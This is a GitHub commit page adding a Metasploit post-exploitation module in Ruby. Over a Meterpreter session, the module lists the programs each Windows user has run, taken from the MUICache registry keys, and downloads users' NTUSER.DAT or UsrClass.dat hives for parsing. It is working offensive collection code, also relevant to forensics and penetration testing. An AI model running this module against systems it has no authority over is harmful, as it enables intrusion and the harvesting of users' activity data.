Skip to content

Commit 0d07fb6

Browse files
committed
Land rapid7#2858, @jiuweigui's post module to enumerate Enumerate MUICache
2 parents 3a9f7fb + a6229ae commit 0d07fb6

File tree

1 file changed

+262
-0
lines changed

1 file changed

+262
-0
lines changed
Lines changed: 262 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,262 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex'
7+
require 'msf/core'
8+
require 'rex/registry'
9+
10+
class Metasploit3 < Msf::Post
11+
include Msf::Post::File
12+
include Msf::Post::Windows::Priv
13+
include Msf::Post::Windows::Registry
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' =>'Windows Gather Enum User MUICache',
18+
'Description' =>
19+
%q{
20+
This module gathers information about the files and file paths that logged on users have
21+
executed on the system. It also will check if the file exists on the system still. This
22+
information is gathered by using information stored under the MUICache registry key. If
23+
the user is logged in when the module is executed it will collect the MUICache entries
24+
by accessing the registry directly. If the user is not logged in the module will download
25+
users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are
26+
parsed from the downloaded hive.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => ['TJ Glad <tjglad[at]cmail.nu>'],
30+
'Platform' => ['win'],
31+
'SessionType' => ['meterpreter']
32+
))
33+
end
34+
35+
# Scrapes usernames, sids and homepaths from the registry so that we'll know
36+
# what user accounts are on the system and where we can find those users
37+
# registry hives.
38+
def find_user_names
39+
user_names = []
40+
user_homedir_paths = []
41+
user_sids = []
42+
43+
username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList"
44+
profile_subkeys = registry_enumkeys(username_reg_path)
45+
if profile_subkeys.blank?
46+
print_error("Unable to access ProfileList registry key. Can't continue.")
47+
return nil
48+
end
49+
50+
profile_subkeys.each do |user_sid|
51+
unless user_sid.length > 10
52+
next
53+
end
54+
user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", "ProfileImagePath")
55+
if user_home_path.blank?
56+
print_error("Unable to read ProfileImagePath from the registry. Can't continue.")
57+
return nil
58+
end
59+
full_path = user_home_path.strip
60+
user_names << full_path.split("\\").last
61+
user_homedir_paths << full_path
62+
user_sids << user_sid
63+
end
64+
65+
return user_names, user_homedir_paths, user_sids
66+
end
67+
68+
# This function builds full registry muicache paths so that we can
69+
# later enumerate the muicahe registry key contents.
70+
def enum_muicache_paths(sys_sids, mui_path)
71+
user_mui_paths = []
72+
hive = "HKU\\"
73+
74+
sys_sids.each do |sid|
75+
full_path = hive + sid + mui_path
76+
user_mui_paths << full_path
77+
end
78+
79+
user_mui_paths
80+
end
81+
82+
# This is the main enumeration function that calls other main
83+
# functions depending if we can access the registry directly or if
84+
# we need to download the hive and process it locally.
85+
def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)
86+
results = []
87+
88+
all_user_entries = sys_users.zip(muicache_reg_keys, sys_paths)
89+
90+
all_user_entries.each do |user, reg_key, sys_path|
91+
92+
subkeys = registry_enumvals(reg_key)
93+
if subkeys.blank?
94+
# If the registry_enumvals returns us nothing then we'll know
95+
# that the user is most likely not logged in and we'll need to
96+
# download and process users hive locally.
97+
print_warning("User #{user}: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..")
98+
result = process_hive(sys_path, user, muicache, hive_file)
99+
unless result.nil?
100+
result.each { |r|
101+
results << r unless r.nil?
102+
}
103+
end
104+
else
105+
# If the registry_enumvals returns us content we'll know that we
106+
# can access the registry directly and thus continue to process
107+
# the content collected from there.
108+
print_status("User #{user}: Enumerating registry..")
109+
subkeys.each do |key|
110+
if key[0] != "@" && key != "LangID" && !key.nil?
111+
result = check_file_exists(key, user)
112+
results << result unless result.nil?
113+
end
114+
end
115+
end
116+
end
117+
118+
results
119+
end
120+
121+
# This function will check if it can find the program executable
122+
# from the path it found from the registry. Permissions might affect
123+
# if it detects the executable but it should be otherwise fairly
124+
# reliable.
125+
def check_file_exists(key, user)
126+
program_path = expand_path(key)
127+
if file_exist?(key)
128+
return [user, program_path, "File found"]
129+
else
130+
return [user, program_path, "File not found"]
131+
end
132+
end
133+
134+
# This function will check if the filepath contains a registry hive
135+
# and if it does it'll proceed to call the function responsible of
136+
# downloading the hive. After successfull download it'll continue to
137+
# call the hive_parser function which will extract the contents of
138+
# the MUICache registry key.
139+
def process_hive(sys_path, user, muicache, hive_file)
140+
user_home_path = expand_path(sys_path)
141+
hive_path = user_home_path + hive_file
142+
ntuser_status = file_exist?(hive_path)
143+
144+
unless ntuser_status == true
145+
print_warning("Couldn't locate/download #{user}'s registry hive. Can't proceed.")
146+
return nil
147+
end
148+
149+
print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file..")
150+
local_hive_copy = Rex::Quickfile.new("jtrtmp")
151+
local_hive_copy.close
152+
begin
153+
session.fs.file.download_file(local_hive_copy.path, hive_path)
154+
rescue ::Rex::Post::Meterpreter::RequestError
155+
print_error("Unable to download NTUSER.DAT/USRCLASS.DAT file")
156+
local_hive_copy.unlink rescue nil
157+
return nil
158+
end
159+
results = hive_parser(local_hive_copy.path, muicache, user)
160+
local_hive_copy.unlink rescue nil # Windows often complains about unlinking tempfiles
161+
162+
results
163+
end
164+
165+
# This function is responsible for parsing the downloaded hive and
166+
# extracting the contents of the MUICache registry key.
167+
def hive_parser(local_hive_copy, muicache, user)
168+
results = []
169+
print_status("Parsing registry content..")
170+
err_msg = "Error parsing hive. Can't continue."
171+
hive = Rex::Registry::Hive.new(local_hive_copy)
172+
if hive.nil?
173+
print_error(err_msg)
174+
return nil
175+
end
176+
177+
muicache_key = hive.relative_query(muicache)
178+
if muicache_key.nil?
179+
print_error(err_msg)
180+
return nil
181+
end
182+
183+
muicache_key_value_list = muicache_key.value_list
184+
if muicache_key_value_list.nil?
185+
print_error(err_msg)
186+
return nil
187+
end
188+
189+
muicache_key_values = muicache_key_value_list.values
190+
if muicache_key_values.nil?
191+
print_error(err_msg)
192+
return nil
193+
end
194+
195+
muicache_key_values.each do |value|
196+
key = value.name
197+
if key[0] != "@" && key != "LangID" && !key.nil?
198+
result = check_file_exists(key, user)
199+
results << result unless result.nil?
200+
end
201+
end
202+
203+
results
204+
end
205+
206+
# Information about the MUICache registry key was collected from:
207+
#
208+
# - Windows Forensic Analysis Toolkit / 2012 / Harlan Carvey
209+
# - Windows Registry Forensics / 2011 / Harlan Carvey
210+
# - http://forensicartifacts.com/2010/08/registry-muicache/
211+
# - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots
212+
def run
213+
print_status("Starting to enumerate MuiCache registry keys..")
214+
sys_info = sysinfo['OS']
215+
216+
if sys_info =~/Windows XP/ && is_admin?
217+
print_good("Remote system supported: #{sys_info}")
218+
muicache = "\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache"
219+
hive_file = "\\NTUSER.DAT"
220+
elsif sys_info =~/Windows 7/ && is_admin?
221+
print_good("Remote system supported: #{sys_info}")
222+
muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache"
223+
hive_file = "\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat"
224+
else
225+
print_error("Unsupported OS or not enough privileges. Unable to continue.")
226+
return nil
227+
end
228+
229+
table = Rex::Ui::Text::Table.new(
230+
'Header' => 'MUICache Information',
231+
'Indent' => 1,
232+
'Columns' =>
233+
[
234+
"Username",
235+
"File path",
236+
"File status",
237+
])
238+
239+
print_status("Phase 1: Searching user names..")
240+
sys_users, sys_paths, sys_sids = find_user_names
241+
242+
if sys_users.blank?
243+
print_error("Was not able to find any user accounts. Unable to continue.")
244+
return nil
245+
else
246+
print_good("Users found: #{sys_users.join(", ")}")
247+
end
248+
249+
print_status("Phase 2: Searching registry hives..")
250+
muicache_reg_keys = enum_muicache_paths(sys_sids, muicache)
251+
results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)
252+
253+
results.each { |r| table << r }
254+
255+
print_status("Phase 3: Processing results..")
256+
loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information")
257+
print_line("\n" + table.to_s + "\n")
258+
print_status("Results stored in: #{loot}")
259+
print_status("Execution finished.")
260+
end
261+
262+
end

0 commit comments

Comments
 (0)